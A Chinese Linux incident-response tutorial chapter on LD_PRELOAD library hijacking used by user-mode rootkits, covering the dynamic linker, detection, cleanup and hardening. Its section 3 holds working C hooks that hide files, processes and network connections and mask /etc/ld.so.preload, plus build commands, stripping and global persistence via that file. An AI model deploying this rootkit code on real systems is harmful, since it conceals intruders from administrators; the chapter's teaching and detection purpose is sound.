1. 1. LD_PRELOAD 共享库劫持 — 用户态 Rootkit 核心技术
    1. 1.1. 一、动态链接器原理
      1. 1.1.1. 1.1 Linux 程序加载流程
      2. 1.1.2. 1.2 LD_PRELOAD 的两种注入方式
      3. 1.1.3. 1.3 动态链接器符号解析顺序
    2. 1.2. 二、攻击原理与技术细节
      1. 1.2.1. 2.1 Hook 的核心思想
      2. 1.2.2. 2.2 隐藏文件 — Hook readdir()
      3. 1.2.3. 2.3 隐藏进程 — Hook readdir() on /proc/
      4. 1.2.4. 2.4 隐藏网络连接 — Hook fopen() / read()
      5. 1.2.5. 2.5 后门认证 — Hook pam_authenticate() / crypt()
      6. 1.2.6. 2.6 隐藏 ld.so.preload 自身
    3. 1.3. 三、示例代码(简化版)
      1. 1.3.1. 3.1 Hook readdir() 隐藏文件
      2. 1.3.2. 3.2 Hook fopen() 隐藏 ld.so.preload 内容
      3. 1.3.3. 3.3 Hook 隐藏网络连接示例
      4. 1.3.4. 3.4 编译命令
    4. 1.4. 四、真实 Rootkit 案例
      1. 1.4.1. 4.1 常见的 LD_PRELOAD Rootkit 框架
      2. 1.4.2. 4.2 实战中常见的 .so 文件位置
    5. 1.5. 五、检测方法(重点)
      1. 1.5.1. 5.1 直接检查 /etc/ld.so.preload
      2. 1.5.2. 5.2 绕过 Hook 的检测方法
        1. 1.5.2.1. 方法一:使用 busybox(静态编译)
        2. 1.5.2.2. 方法二:使用 Python 直接读取
        3. 1.5.2.3. 方法三:使用 strace 观察系统调用
        4. 1.5.2.4. 方法四:直接使用系统调用(汇编/C)
      3. 1.5.3. 5.3 检查进程环境变量中的 LD_PRELOAD
      4. 1.5.4. 5.4 检查进程内存映射中的异常 .so
      5. 1.5.5. 5.5 使用 ldd 检查二进制文件依赖
      6. 1.5.6. 5.6 对比检测隐藏进程
      7. 1.5.7. 5.7 综合检测脚本
    6. 1.6. 六、清除方法
      1. 1.6.1. 6.1 清除步骤
      2. 1.6.2. 6.2 清除后验证
      3. 1.6.3. 6.3 加固建议
    7. 1.7. 七、知识要点总结
    8. 1.8. 八、配套实验

Linux应急响应 - 19 LD_PRELOAD劫持

LD_PRELOAD 共享库劫持 — 用户态 Rootkit 核心技术

LD_PRELOAD 是 Linux 动态链接器提供的一项功能,允许在程序加载时 优先 加载指定的共享库

攻击者利用此机制替换(Hook)libc 标准函数,实现进程隐藏、文件隐藏、网络连接隐藏、后门认证等

这是 用户态 Rootkit 最核心、最常见 的技术,几乎所有用户态 Rootkit 框架(如 Jynx2、Azazel、vlany)都基于此

相关页面:21-Rootkit检测05-进程与网络分析

一、动态链接器原理

1.1 Linux 程序加载流程

一个 ELF 可执行文件从执行到进入 main() 函数,经历以下流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
用户执行命令 (例如 ls)


execve() 系统调用


内核加载 ELF 二进制文件


内核发现 PT_INTERP 段,指向动态链接器


加载动态链接器 ld-linux-x86-64.so.2


动态链接器按以下顺序加载共享库:
1. LD_PRELOAD 环境变量指定的库 ← 【劫持点】
2. /etc/ld.so.preload 文件中指定的库 ← 【劫持点】
3. DT_NEEDED 段指定的库(ELF 依赖)
4. /etc/ld.so.cache 缓存的库路径
5. 默认路径 /lib, /usr/lib 等


符号解析与重定位


调用 __libc_start_main → main()

关键点:LD_PRELOAD 加载的库中的符号会覆盖后续库中的同名符号

这意味着如果 LD_PRELOAD 的 .so 中定义了 readdir(),那么所有程序调用 readdir() 时都会执行攻击者的版本

1.2 LD_PRELOAD 的两种注入方式

方式 作用范围 持久性 文件/变量
环境变量 LD_PRELOAD 当前 shell 及其子进程 非持久(重启失效) export LD_PRELOAD=/path/evil.so
全局配置 /etc/ld.so.preload 所有动态链接程序 持久 写入 .so 路径到该文件

/etc/ld.so.preload 比环境变量更危险:

影响系统上所有动态链接的程序

包括 root 执行的程序

不需要修改任何用户的环境变量

env 命令不可见(环境变量方式可以被 env 看到)

注意:SUID 程序在较新的 glibc 版本中会忽略 LD_PRELOAD 环境变量(安全机制),但 /etc/ld.so.preload 仍然生效

1.3 动态链接器符号解析顺序

符号(函数名)查找顺序:

  1. LD_PRELOAD 加载的库

  2. /etc/ld.so.preload 加载的库

  3. 程序自身定义的符号

  4. DT_NEEDED 指定的库(按链接顺序)

使用 dlsym(RTLD_NEXT, "readdir") 可以获取下一个同名符号的地址

这是 Hook 的关键:攻击者的函数先执行,然后可以选择是否调用原始函数

二、攻击原理与技术细节

2.1 Hook 的核心思想

攻击者编写一个共享库(.so),其中定义与 libc 同名的函数

在自定义函数中:

  1. 使用 dlsym(RTLD_NEXT, "原函数名") 获取原始函数地址

  2. 调用原始函数获取真实结果

  3. 篡改结果后返回给调用者

核心头文件:

1
2
3
4
5
#define _GNU_SOURCE
#include <dlfcn.h> // dlsym, RTLD_NEXT
#include <dirent.h> // readdir, struct dirent
#include <stdio.h> // fopen, FILE
#include <string.h> // strcmp, strstr

2.2 隐藏文件 — Hook readdir()

lsfind 等命令底层都调用 readdir() 遍历目录

Hook readdir() 后,当遇到需要隐藏的文件名时跳过该条目

效果:ls 看不到目标文件,但 cat 直接读取文件仍然可以(因为 cat 不调用 readdir

隐藏的文件列表通常通过以下方式定义:

硬编码在 .so 中(如以特定前缀开头的文件)

读取一个配置文件

通过环境变量指定

2.3 隐藏进程 — Hook readdir() on /proc/

Linux 中 /proc/ 目录下每个数字子目录对应一个进程 PID

ps 命令底层遍历 /proc/ 来获取进程列表

Hook readdir() 时,检查当前遍历的是否是 /proc/ 目录

如果是,跳过指定 PID 对应的目录名

同时需要 Hook readdir64() 以兼容 64 位系统

2.4 隐藏网络连接 — Hook fopen() / read()

netstatss 等命令读取 /proc/net/tcp/proc/net/tcp6 等文件

方法一:Hook fopen(),当打开这些文件时返回一个过滤后的临时文件

方法二:Hook read(),在读取内容后过滤掉包含目标端口/IP 的行

需要隐藏的典型内容:

特定端口号(如 C2 回连端口)

特定 IP 地址(如 C2 服务器地址)

2.5 后门认证 — Hook pam_authenticate() / crypt()

Hook pam_authenticate() 函数,当密码匹配预设的”万能密码”时直接返回成功

或者 Hook crypt() 函数,在密码哈希比对前插入判断逻辑

这样攻击者可以使用万能密码登录系统上的 任何账户

更高级的做法是同时记录其他用户的真实密码到隐藏文件

相关内容详见 20-PAM后门

2.6 隐藏 ld.so.preload 自身

最巧妙的技巧:让被注入的 .so 把 /etc/ld.so.preload 自身也隐藏掉

Hook fopen() / open():当尝试读取 /etc/ld.so.preload 时返回空内容

Hook access() / stat():让文件看起来不存在

这样 cat /etc/ld.so.preload 返回空或 “No such file”

实际文件仍然存在且生效

三、示例代码(简化版)

3.1 Hook readdir() 隐藏文件

以下代码隐藏所有以 evil_ 前缀开头的文件和指定 PID 的进程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
/* evil_hide.c - 简化版 LD_PRELOAD 隐藏文件/进程示例 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>
#include <dirent.h>
#include <unistd.h>
#include <sys/types.h>

/* 需要隐藏的文件前缀 */
#define HIDDEN_PREFIX "evil_"

/* 需要隐藏的进程 PID(实战中通常从配置文件读取)*/
#define HIDDEN_PID "31337"

/* 需要隐藏的文件名列表 */
static const char *hidden_files[] = {
"evil_backdoor",
"evil_config",
".evil_log",
"ld.so.preload", /* 隐藏 preload 配置自身 */
NULL
};

/* 检查文件名是否需要隐藏 */
static int should_hide(const char *name) {
/* 隐藏以 HIDDEN_PREFIX 开头的文件 */
if (strncmp(name, HIDDEN_PREFIX, strlen(HIDDEN_PREFIX)) == 0)
return 1;

/* 隐藏指定文件名 */
for (int i = 0; hidden_files[i] != NULL; i++) {
if (strcmp(name, hidden_files[i]) == 0)
return 1;
}
return 0;
}

/* 获取目录对应的 fd 路径,判断是否在遍历 /proc */
static int is_proc_dir(DIR *dirp) {
int fd = dirfd(dirp);
char path[256];
char link[256];
snprintf(path, sizeof(path), "/proc/self/fd/%d", fd);
ssize_t len = readlink(path, link, sizeof(link) - 1);
if (len > 0) {
link[len] = '\0';
if (strcmp(link, "/proc") == 0)
return 1;
}
return 0;
}

/* Hook readdir */
struct dirent *readdir(DIR *dirp) {
/* 获取原始 readdir 函数 */
static struct dirent *(*orig_readdir)(DIR *) = NULL;
if (!orig_readdir)
orig_readdir = dlsym(RTLD_NEXT, "readdir");

struct dirent *entry;
while ((entry = orig_readdir(dirp)) != NULL) {
/* 如果在遍历 /proc,隐藏指定 PID */
if (is_proc_dir(dirp) && strcmp(entry->d_name, HIDDEN_PID) == 0)
continue;

/* 隐藏指定文件名 */
if (should_hide(entry->d_name))
continue;

/* 不需要隐藏的条目正常返回 */
break;
}
return entry;
}

/* Hook readdir64(64 位系统兼容)*/
struct dirent64 *readdir64(DIR *dirp) {
static struct dirent64 *(*orig_readdir64)(DIR *) = NULL;
if (!orig_readdir64)
orig_readdir64 = dlsym(RTLD_NEXT, "readdir64");

struct dirent64 *entry;
while ((entry = orig_readdir64(dirp)) != NULL) {
if (is_proc_dir(dirp) && strcmp(entry->d_name, HIDDEN_PID) == 0)
continue;
if (should_hide(entry->d_name))
continue;
break;
}
return entry;
}

代码解析:

dlsym(RTLD_NEXT, "readdir"):获取链接顺序中下一个 readdir 的地址(即原始 libc 版本)

while 循环:不断调用原始 readdir,跳过需要隐藏的条目

is_proc_dir():通过 /proc/self/fd/ 判断当前遍历的是否是 /proc 目录

同时 Hook readdirreaddir64 确保兼容性

3.2 Hook fopen() 隐藏 ld.so.preload 内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/* evil_fopen.c - Hook fopen 隐藏 /etc/ld.so.preload 内容 */
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>

/* Hook fopen */
FILE *fopen(const char *pathname, const char *mode) {
static FILE *(*orig_fopen)(const char *, const char *) = NULL;
if (!orig_fopen)
orig_fopen = dlsym(RTLD_NEXT, "fopen");

/* 当尝试读取 /etc/ld.so.preload 时,返回 /dev/null */
if (strcmp(pathname, "/etc/ld.so.preload") == 0) {
return orig_fopen("/dev/null", mode);
}

return orig_fopen(pathname, mode);
}

/* 同时 Hook fopen64 */
FILE *fopen64(const char *pathname, const char *mode) {
static FILE *(*orig_fopen64)(const char *, const char *) = NULL;
if (!orig_fopen64)
orig_fopen64 = dlsym(RTLD_NEXT, "fopen64");

if (strcmp(pathname, "/etc/ld.so.preload") == 0) {
return orig_fopen64("/dev/null", mode);
}

return orig_fopen64(pathname, mode);
}

效果:cat /etc/ld.so.preload 显示为空,因为实际读取的是 /dev/null

但文件依然存在且动态链接器仍然使用它加载恶意 .so

3.3 Hook 隐藏网络连接示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
/* evil_net.c - Hook fopen 隐藏特定网络连接 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>
#include <unistd.h>

/* 需要隐藏的端口(十六进制,/proc/net/tcp 中端口以 hex 存储)*/
#define HIDDEN_PORT_HEX "1F90" /* 端口 8080 的十六进制 */

FILE *fopen(const char *pathname, const char *mode) {
static FILE *(*orig_fopen)(const char *, const char *) = NULL;
if (!orig_fopen)
orig_fopen = dlsym(RTLD_NEXT, "fopen");

/* 检查是否是网络状态文件 */
if (strstr(pathname, "/proc/net/tcp") != NULL ||
strstr(pathname, "/proc/net/tcp6") != NULL) {

/* 读取原始内容,过滤后写入临时文件 */
FILE *orig = orig_fopen(pathname, mode);
if (!orig) return NULL;

char tmppath[] = "/tmp/.net_XXXXXX";
int tmpfd = mkstemp(tmppath);
FILE *tmpfile = fdopen(tmpfd, "w");

char line[512];
while (fgets(line, sizeof(line), orig)) {
/* 跳过包含目标端口的行 */
if (strstr(line, HIDDEN_PORT_HEX) != NULL)
continue;
fputs(line, tmpfile);
}
fclose(orig);
fclose(tmpfile);

/* 返回过滤后的临时文件 */
FILE *result = orig_fopen(tmppath, mode);
unlink(tmppath); /* 删除临时文件(但 fd 仍然有效)*/
return result;
}

return orig_fopen(pathname, mode);
}

注意:实战中的 Rootkit 代码比上述示例更复杂,会处理更多边界情况

3.4 编译命令

1
2
3
4
5
6
7
8
9
10
11
12
# 编译为共享库
gcc -shared -fPIC -o evil.so evil_hide.c -ldl

# 测试(环境变量方式,非持久)
LD_PRELOAD=./evil.so ls

# 持久化(全局注入,危险!仅在实验环境操作)
echo "/path/to/evil.so" > /etc/ld.so.preload

# 编译时去除符号信息(增加分析难度)
gcc -shared -fPIC -o evil.so evil_hide.c -ldl -s
strip evil.so

-shared:生成共享库

-fPIC:生成位置无关代码(Position Independent Code)

-ldl:链接 libdl(提供 dlsym 函数)

-s / strip:去除符号表,增加逆向分析难度

四、真实 Rootkit 案例

4.1 常见的 LD_PRELOAD Rootkit 框架

Rootkit 名称 特点 Hook 的函数
Jynx2 经典用户态 Rootkit readdir, fopen, accept, access 等
Azazel Jynx2 的改进版 增加 pcap Hook、加密通信
vlany 功能全面 60+ 个 Hook 函数,anti-debug
Bdvl 现代化设计 PAM Hook、网络隐藏、anti-ptrace
cub3 轻量级 文件/进程隐藏、反向 shell

4.2 实战中常见的 .so 文件位置

1
2
3
4
5
6
# 攻击者常用的隐藏路径
/lib/x86_64-linux-gnu/.libs/libselinux.so # 伪装为 SELinux 库
/usr/lib/.hidden/evil.so # 隐藏目录
/dev/shm/.evil.so # 内存文件系统
/tmp/.ICE-unix/.evil.so # 隐藏在 X11 临时目录
/var/tmp/.cache/libutil.so # 伪装为系统库

文件名通常伪装成系统库名称:libselinux.so、libcrypt.so、libutil.so 等

五、检测方法(重点)

5.1 直接检查 /etc/ld.so.preload

1
2
3
4
5
6
7
8
9
# 最直接的检查方式
cat /etc/ld.so.preload

# 检查文件是否存在
ls -la /etc/ld.so.preload

# 检查文件属性
file /etc/ld.so.preload
stat /etc/ld.so.preload

注意:如果系统已被 LD_PRELOAD Rootkit 感染,上述命令可能返回假结果!

因为 cat 调用 fopen() 读取文件 → 被 Hook → 返回空内容

因为 ls 调用 readdir() 遍历目录 → 被 Hook → 不显示 ld.so.preload

必须使用以下绕过方法

5.2 绕过 Hook 的检测方法

方法一:使用 busybox(静态编译)

1
2
3
4
5
6
7
8
9
10
# busybox 是静态链接的,不使用动态库,不受 LD_PRELOAD 影响
busybox cat /etc/ld.so.preload
busybox ls -la /etc/ld.so.preload
busybox ls /proc/ # 可以看到被隐藏的 PID

# 如果系统没有 busybox,从可信源下载静态编译版本
# 从另一台干净机器通过 scp 传输
scp clean_host:/usr/bin/busybox /tmp/busybox_clean
chmod +x /tmp/busybox_clean
/tmp/busybox_clean cat /etc/ld.so.preload

方法二:使用 Python 直接读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Python 的 open() 使用自己的 I/O 实现
# 在 CPython 中,open() 最终通过系统调用读取,但不通过 libc 的 fopen
python3 -c "
try:
with open('/etc/ld.so.preload', 'r') as f:
content = f.read()
if content.strip():
print('[!] /etc/ld.so.preload 内容:')
print(content)
else:
print('[+] /etc/ld.so.preload 为空')
except FileNotFoundError:
print('[+] /etc/ld.so.preload 不存在')
"

注意:Python 在某些实现中仍然可能调用 libc 的 fopen。最可靠的方式是使用 os.open() + os.read() 直接使用系统调用:

1
2
3
4
5
6
7
8
9
10
11
python3 -c "
import os
try:
fd = os.open('/etc/ld.so.preload', os.O_RDONLY)
content = os.read(fd, 4096)
os.close(fd)
print('[!] /etc/ld.so.preload 内容:')
print(content.decode())
except FileNotFoundError:
print('[+] /etc/ld.so.preload 不存在')
"

方法三:使用 strace 观察系统调用

1
2
3
4
5
6
7
8
9
# strace 直接跟踪系统调用,可以看到 Hook 前后的差异
strace cat /etc/ld.so.preload 2>&1 | grep -E "open|read"

# 如果 cat 被 Hook,strace 输出中可以看到:
# openat(AT_FDCWD, "/etc/ld.so.preload", ...) 被重定向到 /dev/null
# 或者 read() 返回被篡改的内容

# 直接使用 strace 查看真实文件内容
strace -e trace=openat,read -s 1024 cat /etc/ld.so.preload 2>&1

方法四:直接使用系统调用(汇编/C)

1
2
3
4
5
6
7
8
# 使用 Perl 的 syscall 绕过 libc
perl -e '
use POSIX;
sysopen(my $fh, "/etc/ld.so.preload", O_RDONLY) or die "Not found";
sysread($fh, my $buf, 4096);
print $buf;
close($fh);
'

5.3 检查进程环境变量中的 LD_PRELOAD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 检查所有进程的环境变量中是否设置了 LD_PRELOAD
for pid in /proc/[0-9]*/; do
pid_num=$(basename "$pid")
env_file="$pid/environ"
if [ -r "$env_file" ]; then
if tr '\0' '\n' < "$env_file" | grep -q "LD_PRELOAD"; then
cmd=$(cat "$pid/cmdline" | tr '\0' ' ')
echo "[!] PID $pid_num (${cmd}): $(tr '\0' '\n' < "$env_file" | grep LD_PRELOAD)"
fi
fi
done

# 快速版本
grep -r "LD_PRELOAD" /proc/*/environ 2>/dev/null

# 检查系统全局环境配置
grep -rn "LD_PRELOAD" /etc/profile /etc/profile.d/ /etc/environment \
/etc/bash.bashrc /etc/ld.so.preload 2>/dev/null

5.4 检查进程内存映射中的异常 .so

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 查看指定进程加载了哪些共享库
cat /proc/<PID>/maps | grep "\.so"

# 检查所有进程中是否加载了异常 .so
for pid in /proc/[0-9]*/; do
pid_num=$(basename "$pid")
maps="$pid/maps"
if [ -r "$maps" ]; then
# 查找非标准路径的 .so 文件
suspicious=$(grep "\.so" "$maps" | grep -Ev "/lib/|/usr/lib/|/lib64/" | head -5)
if [ -n "$suspicious" ]; then
cmd=$(cat "$pid/cmdline" 2>/dev/null | tr '\0' ' ')
echo "[!] PID $pid_num ($cmd):"
echo "$suspicious"
echo "---"
fi
fi
done

重点关注以下路径中的 .so:

/tmp//dev/shm//var/tmp/ — 临时目录

/home/ — 用户主目录

. 开头的隐藏目录

名称与系统库相似但路径不对的文件

5.5 使用 ldd 检查二进制文件依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 查看 ls 命令加载的所有共享库
ldd /usr/bin/ls

# 如果设置了 LD_PRELOAD,ldd 输出中会显示
# 例如:/tmp/evil.so (0x00007f...) ← 异常!

# 批量检查常用命令
for cmd in ls ps netstat ss cat find; do
path=$(which $cmd 2>/dev/null)
if [ -n "$path" ]; then
echo "=== $path ==="
ldd "$path" | grep -Ev "linux-vdso|ld-linux|libc\.so|libdl|libpthread|libselinux|librt|libm\.so|libpcre"
fi
done

警告ldd 实际上会执行目标程序的链接器,在不可信二进制文件上使用 ldd 可能有安全风险,可以改用 objdump -p <binary> | grep NEEDED

5.6 对比检测隐藏进程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# 方法:对比 ps 输出与 /proc/ 目录遍历结果
# 如果 readdir 被 Hook,ps 可能漏掉进程,但直接访问 /proc/PID 仍然有效

# 使用 Python 遍历 /proc(绕过 readdir Hook)
python3 -c "
import os

# 方法1:通过 os.listdir(可能也被 Hook)
proc_pids_listdir = set()
for entry in os.listdir('/proc'):
if entry.isdigit():
proc_pids_listdir.add(int(entry))

# 方法2:暴力遍历 PID 范围
proc_pids_bruteforce = set()
for pid in range(1, 65536):
if os.path.exists(f'/proc/{pid}'):
proc_pids_bruteforce.add(pid)

# 对比两种方法
hidden = proc_pids_bruteforce - proc_pids_listdir
if hidden:
print(f'[!] 发现隐藏进程 PID: {hidden}')
for pid in hidden:
try:
with open(f'/proc/{pid}/cmdline', 'rb') as f:
cmdline = f.read().replace(b'\x00', b' ').decode()
print(f' PID {pid}: {cmdline}')
except:
print(f' PID {pid}: 无法读取 cmdline')
else:
print('[+] 未发现隐藏进程')
"

该方法的原理:readdir Hook 只在遍历目录时过滤条目,但直接 access("/proc/PID")stat("/proc/PID") 通常不会被 Hook(除非攻击者也 Hook 了 accessstat

5.7 综合检测脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/bin/bash
# LD_PRELOAD 劫持综合检测脚本
echo "========== LD_PRELOAD 劫持检测 =========="
echo "[*] 检查时间: $(date)"
echo ""

# 1. 检查 /etc/ld.so.preload(使用多种方式)
echo "[1] 检查 /etc/ld.so.preload"
echo "--- 直接 cat(可能被 Hook)---"
cat /etc/ld.so.preload 2>/dev/null || echo "文件不存在"
echo "--- Python 读取(绕过 fopen Hook)---"
python3 -c "
import os
try:
fd = os.open('/etc/ld.so.preload', os.O_RDONLY)
print(os.read(fd, 4096).decode())
os.close(fd)
except: print('文件不存在')
"
echo ""

# 2. 检查环境变量
echo "[2] 检查 LD_PRELOAD 环境变量"
grep -r "LD_PRELOAD" /proc/*/environ 2>/dev/null | head -20
grep -rn "LD_PRELOAD" /etc/profile /etc/profile.d/ /etc/environment \
/etc/bash.bashrc 2>/dev/null
echo ""

# 3. 检查异常 .so 文件
echo "[3] 检查异常共享库加载"
for pid in $(ls /proc/ | grep -E '^[0-9]+$' | head -100); do
maps="/proc/$pid/maps"
[ -r "$maps" ] && grep "\.so" "$maps" | \
grep -Ev "/lib/|/usr/lib|/lib64|/usr/local/lib|anon" | head -3
done | sort -u
echo ""

# 4. 检查可疑 .so 文件
echo "[4] 检查可疑路径中的 .so 文件"
find /tmp /dev/shm /var/tmp /run -name "*.so" -o -name "*.so.*" 2>/dev/null
echo ""

echo "========== 检测完成 =========="

六、清除方法

6.1 清除步骤

⚠️ 清除 LD_PRELOAD Rootkit 需要非常谨慎,操作不当可能导致系统不可用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# 第一步:使用静态编译工具确认感染
busybox cat /etc/ld.so.preload
# 假设输出为:/lib/x86_64-linux-gnu/.libs/libselinux.so

# 第二步:备份恶意文件用于分析
busybox cp /lib/x86_64-linux-gnu/.libs/libselinux.so /tmp/malware_sample.so
busybox cp /etc/ld.so.preload /tmp/ld.so.preload.bak

# 第三步:清除 /etc/ld.so.preload
# 方法一:直接清空(需要用静态编译的工具或直接写)
busybox sh -c '> /etc/ld.so.preload'
# 或
busybox rm /etc/ld.so.preload

# 方法二:如果 busybox 不可用,使用 Python
python3 -c "
import os
fd = os.open('/etc/ld.so.preload', os.O_WRONLY | os.O_TRUNC)
os.close(fd)
print('已清空 /etc/ld.so.preload')
"

# 第四步:删除恶意 .so 文件
busybox rm /lib/x86_64-linux-gnu/.libs/libselinux.so

# 第五步:清除进程级 LD_PRELOAD(需要重启受影响的服务)
# 检查哪些进程仍然加载了恶意 .so
grep "libselinux" /proc/*/maps 2>/dev/null
# 重启这些进程

# 第六步:检查并清除持久化配置
grep -rn "LD_PRELOAD" /etc/profile /etc/profile.d/ /etc/environment \
/etc/bash.bashrc ~/.bashrc ~/.profile 2>/dev/null

6.2 清除后验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 验证 ld.so.preload 已清除
cat /etc/ld.so.preload # 应该为空或不存在

# 验证 ldd 输出正常
ldd /usr/bin/ls # 不应有异常 .so

# 验证进程列表正常
# 对比 ps aux 与 /proc/ 遍历
ps aux | wc -l
ls /proc/ | grep -c "^[0-9]"
# 两者数量应该接近

# 验证网络连接正常
ss -tlnp # 不应有之前被隐藏的连接

6.3 加固建议

1
2
3
4
5
6
7
8
9
10
# 1. 监控 /etc/ld.so.preload 文件
# 使用 auditd 监控
auditctl -w /etc/ld.so.preload -p wa -k ld_preload_monitor

# 2. 使用不可变属性保护(注意:root 可以去除)
touch /etc/ld.so.preload
chattr +i /etc/ld.so.preload

# 3. 将检测脚本加入定期巡检
# 在 crontab 中定期运行 LD_PRELOAD 检测脚本

七、知识要点总结

方面 内容
注入方式 LD_PRELOAD 环境变量、/etc/ld.so.preload 全局配置
核心原理 动态链接器优先加载指定 .so,覆盖 libc 同名函数
常见 Hook readdir(隐藏文件/进程)、fopen(隐藏网络/文件内容)、pam_authenticate(后门)
检测要点 使用静态编译工具(busybox)、Python os.open()、strace 绕过 Hook
清除要点 清空 /etc/ld.so.preload、删除恶意 .so、重启受影响进程

核心理念:LD_PRELOAD Hook 只影响动态链接的程序,使用静态编译的工具或直接系统调用可以绕过

八、配套实验

实验目录:labs/14-persistence-ldpreload/

实验内容:

实验 14.1:编译并测试 LD_PRELOAD 隐藏文件

实验 14.2:使用 /etc/ld.so.preload 进行全局注入

实验 14.3:使用多种方法检测 LD_PRELOAD 劫持

实验 14.4:完整清除流程演练

⚠️ 所有实验必须在隔离的虚拟机环境中进行


上一章 目录 下一章
18-Bashrc与Profile后门 Linux应急响应 20-PAM后门